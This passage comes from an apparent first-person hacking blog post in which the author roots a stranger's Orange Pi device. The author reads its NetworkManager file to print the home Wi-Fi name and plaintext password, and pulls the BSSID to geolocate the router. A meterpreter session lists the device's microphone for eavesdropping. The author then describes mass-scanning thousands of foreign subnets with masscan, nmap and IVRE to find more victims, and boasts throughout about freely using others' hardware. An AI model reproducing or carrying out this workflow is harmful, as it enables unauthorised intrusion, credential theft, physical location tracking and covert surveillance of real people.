TX packets 4827 bytes 248885 (243.0 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.8.2 netmask 255.255.255.0 broadcast 192.168.8.255
inet6 fe80::b97f:77f8:605a:c823 prefixlen 64 scopeid 0x20<link>
inet6 fd82:e7d8:fb87:b800:81ad:f1da:4c8d:6997 prefixlen 64 scopeid 0x0<global>
ether c0:f5:35:bb:62:13 txqueuelen 1000 (Ethernet)
RX packets 1237346 bytes 822016404 (783.9 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1126580 bytes 828696214 (790.3 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

Ok, I can extract Wi-Fi information from this device, because I’m root!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
root@orangepi5max:~# cat /etc/NetworkManager/system-connections/vrindavan.nmconnection
[connection]
id=vrindavan
uuid=29a79711-07e9-47bd-89bf-faf1a63b9166
type=wifi
interface-name=wlan0

[wifi]
mode=infrastructure
ssid=vrindavan

[wifi-security]
auth-alg=open
key-mgmt=wpa-psk
psk=gecnbvtyz

[ipv4]
method=auto

[ipv6]
addr-gen-mode=default
method=auto

[proxy]

Here, you can see ssid and psk:

1
2
ssid: vrindavan
psk: gecnbvtyz

Now I know SSID and I also can get BSSID:

1
2
3
4
5
6
7
8
9
10
root@orangepi5max:~# iw dev wlan0 link
Connected to 82:e7:d8:fb:87:be (on wlan0)
SSID: vrindavan
freq: 5660
RX: 854226184 bytes (459408 packets)
TX: 857344255 bytes (849059 packets)
signal: -61 dBm
rx bitrate: 180.0 MBit/s
tx bitrate: 180.0 MBit/s
root@orangepi5max:~#

Well, this is perfect. Now I can use BSSID + SSID to find it on the WiFi map and get the exact location of the router.

Summary

Well, this was kinda fun and also weird. What did I find? Free device to access, free root shell and free 8-core CPU that can be used for anything! Yeah, if I can access it, I can also use it! Oh, did you know that this device also has a microphone that meterpreter can use?

1
2
3
4
5
6
7
8
9
msf exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

meterpreter > mic_list
1: 02-00: dailink-multicodecs ES8323 HiFi-0 : dailink-multicodecs ES8323 HiFi-0 : playback 1 : capture 1

meterpreter > bg
[*] Backgrounding session 1...
msf exploit(multi/handler) >

This is so cool. What I want to talk about is that it’s very easy for me to find targets like this. I even set up my own shodan alternative. Now I’m doing scans over 15,000+ Russian and Iranian subnets in order to find more targets. This open-source project supports xml file input. This means that I can do massive scanning with masscan or nmap and save everything in xml files. After that, I can import everything into ivre (this project works with MongoDB) and start up its web UI. Then I can just look for necessary information with filters and even map support. I can also have screenshots on RDP like Shodan has.